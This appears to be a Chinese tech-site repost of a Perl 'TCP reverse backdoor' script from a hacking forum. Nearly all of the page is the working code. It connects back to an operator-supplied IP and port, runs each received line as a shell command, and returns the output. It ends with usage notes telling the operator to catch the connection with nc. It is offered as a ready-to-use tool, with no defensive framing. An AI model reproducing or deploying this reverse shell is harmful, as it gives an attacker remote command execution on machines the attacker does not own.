首页 电脑 电脑学堂 查看内容

perl…TCP反向后门

2004-10-8 06:55 678 0

摘要: 作者:黑病毒  来自:冰点极限论坛 #!usr/bin/perl -w use IO::Socket; $remote_host=$ARGV[0]; $remote_port=$ARGV[1]; $...
关键词: sock remote answer close exit port 部分 Socket print 反向

作者:黑病毒  来自:冰点极限论坛 #!usr/bin/perl -w use IO::Socket; $remote_host=$ARGV[0]; $remote_port=$ARGV[1]; $sock=IO::Socket::INET->new(LocalAddr=>INADDR_ANY,LocalPort=>7718,PeerAddr=>$remote_host,PeerPort=>$remote_port,Proto=>'tcp',Type=>SOCK_STREAM,Timeout=>60); $tips="OK!Input Your Command Now!\n"; $sock->autoflush(1); $sock->print("$tips"); #读写部分 while(1){ $answer=$sock->getline(); next unless defined $answer; chop($answer); if($answer eq 'exit'){ $sock->close; exit 1;} open(SHOW,"$answer│"); @c=<SHOW>; $sock->print("@c\n"); } #读写部分 close SHOW; $sock->close; exit 1; #TCP反向后门,默认本地端口为7718 #使用NC做客户端 #格式:perl tcpcmd.pl remote_ip remote_port #切记:必须使用NC作客户端,不要贪方便使用TELNET,否则会造成服务端崩溃(进入S循环) 
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部